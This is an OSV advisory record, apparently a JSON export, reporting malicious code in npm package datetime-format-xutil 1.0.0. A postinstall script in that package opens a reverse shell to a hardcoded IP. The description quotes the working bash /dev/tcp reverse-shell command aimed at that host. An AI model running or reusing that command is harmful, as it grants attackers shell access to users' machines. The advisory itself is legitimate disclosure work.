{"id":"MAL-2026-13936","revision":"b36af596913c498f95cb44b0acac80d2","records":[{"revision":"b36af596913c498f95cb44b0acac80d2","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-13936","aliases":[],"title":"Malicious code in datetime-format-xutil (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (677f98dffacde20a42bef500b1e5d3e3b4b27bdcd11d7d74aa398730d6643b24)\nThe package advertises itself as a date-format utility but ships a postinstall.js that runs automatically via scripts.postinstall on npm install. The script opens a TCP connection to the hardcoded host 8.135.48.40:4444, spawns /bin/sh, and pipes the shell's stdio over the socket, with `bash -i >& /dev/tcp/8.135.48.40/4444 0>&1` and a python3 reverse-shell one-liner as fallbacks. On failure, error details are sent via plain-HTTP GET to http://8.135.48.40/shell/failed and /shell/error. The index.js date-format code is a cover; installing the package grants an interactive shell on the installer's host to the operator of 8.135.48.40.\n","state":0,"publishedAt":"2026-08-13T14:59:51+00:00","modifiedAt":"2026-08-13T15:30:14.6241245+00:00","affected":[{"ecosystem":"npm","name":"datetime-format-xutil","ranges":[],"versions":["1.0.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/datetime-format-xutil/v/1.0.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-13936","license":"OSV · upstream source license applies","key":"osv:MAL-2026-13936","identifiers":["MAL-2026-13936"]},"retained":false,"historicalAffected":[]}],"coverage":[]}